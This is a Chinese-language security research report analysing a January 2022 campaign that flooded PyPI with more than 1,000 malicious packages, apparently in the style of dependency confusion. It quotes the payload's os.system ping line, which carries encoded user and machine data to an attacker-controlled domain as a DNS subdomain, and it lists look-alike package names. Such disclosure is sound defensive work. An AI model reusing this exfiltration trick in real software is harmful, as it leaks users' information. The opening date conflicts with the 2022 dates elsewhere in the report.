【天问】快闪攻击:PyPI上闪现1000+恶意包
/ / 点击 / 阅读耗时 5 分钟2021年1月24日,奇安信技术研究院星图实验室自研的天问软件供应链安全分析平台Python供应链威胁监测模块捕获到一批可疑的包,根据天穹沙箱的分析结果,这些包均访问可疑域名deliverycontent[.]online。在捕获到这些可疑的包后,我们立马开展了对其的分析,定位到了这次上传包数量超过1000的“快闪攻击”。
这些包的上传者均为 arturlebedev,作者刻意省略了其邮箱等敏感信息,账号注册于2022年1月20日,自20日以来该作者的活动如下图所示。
攻击者于2022年1月20日上传了111个测试包,这些包的名称为super-package*
或tetrfog*
(*指代常数),这一批测试包并没有实际攻击行为,其仅在用户import时向终端输出“malicious”字样。这种攻击形式的目标更像是开发者及自动化构建系统。
攻击者于北京时间2022年1月23日晚9时许上传了3个测试包,在发现PyPI没有发现并移除这三个包后,自2022年1月24日4时开始批量上传恶意包,由于每个包上传时间间隔均为2-3秒,我们推测攻击者应该是通过自动化脚本批量上传。批量上传一直持续到早上6点30分,此次共计上传了1161个包,这些包的恶意行为均是在窃取了用户名、计算机名、执行路径后,通过base64编码,回传至deliverycontent[.]online,形如:
1 | r = os.system("ping f8a0362476c7361533177597a7479623239304f32706c64474a76644638784c.sub.deliverycontent.online") |
经过分析,我们发现这1275个包内仅有74个包和常用包的包名高度相似,所以可以排除其批量typosquat攻击的意图。但是我们发现其中大部分包均在github上有同名的python项目,我们推测这应该是一次类Alex Birsan “依赖混淆”的攻击行为,通过批量上传与github项目同名的python包,当用户安装、引用这些包时达到窃取敏感信息并回传的目的。
攻击者于北京时间2022年1月24日晚8点14分开始批量移除其恶意包,耗时5分钟将所有包移除。目前其在PyPI上上传的恶意包均已被删除。我们将继续关注攻击者的动向。
如下是与常用包的包名高度相似的74个恶意包,如需要完整列表请联系我们。
恶意包 | 常用包 |
---|---|
xcryptography | cryptography |
xeth-utils | eth-utils |
xweb3 | web3 |
xwheel | wheel |
xgevent | gevent |
xkeyring | keyring |
xzeep | zeep |
bqlmetadata | sql-metadata |
xjsonschema | jsonschema |
zdiff | ydiff |
bql | gql |
platformlibs | platformdirs |
ximportlib-metadata | importlib-metadata |
xsetuptools | setuptools |
xeth-abi | eth-abi |
xeth-account | eth-account |
mplpy | amplpy |
xpyinstaller | pyinstaller |
sonify | jsonify |
xlz4 | lz4 |
jconv | jaconv |
xpypsrp | pypsrp |
xpyopencl | pyopencl |
xpip | pip |
dpp | app |
xgoogle-cloud-core | google-cloud-core |
xcoincurve | coincurve |
xfirebase-admin | firebase-admin |
harkpython | hap-python |
xnbconvert | nbconvert |
flic | flit |
xaltgraph | altgraph |
pyeemd | pyemd |
lisa-profiler | line-profiler |
rmock | mock |
xmsgpack-python | msgpack-python |
annpy | annoy |
xvarint | varint |
xprettytable | prettytable |
xwsaccel | wsaccel |
xcytoolz | cytoolz |
xgoogle-api-core | google-api-core |
pyspark-pytest | pyspark-test |
xjira | jira |
xgoogle-cloud-storage | google-cloud-storage |
svn-python | ssh-python |
pcclient | ncclient |
xpycountry | pycountry |
xgoogle-cloud-firestore | google-cloud-firestore |
dbxml | dexml |
pykna | pyknp |
xpyppeteer | pyppeteer |
xhumanize | humanize |
bqprogress | progress |
recpy | ecpy |
xsqlalchemy-migrate | sqlalchemy-migrate |
cppex | cplex |
xbitarray | bitarray |
xstem | stem |
xparsimonious | parsimonious |
xsix | six |
caser | case |
xlru-dict | lru-dict |
xgcloud | gcloud |
xb2sdk | b2sdk |
dlopt | nlopt |
bfac | kfac |
wnn | mnn |
pyperties | properties |
xpromise | promise |
xeth-keyfile | eth-keyfile |
ximpacket | impacket |
evtk | vtk |
backtradercn | backtrader |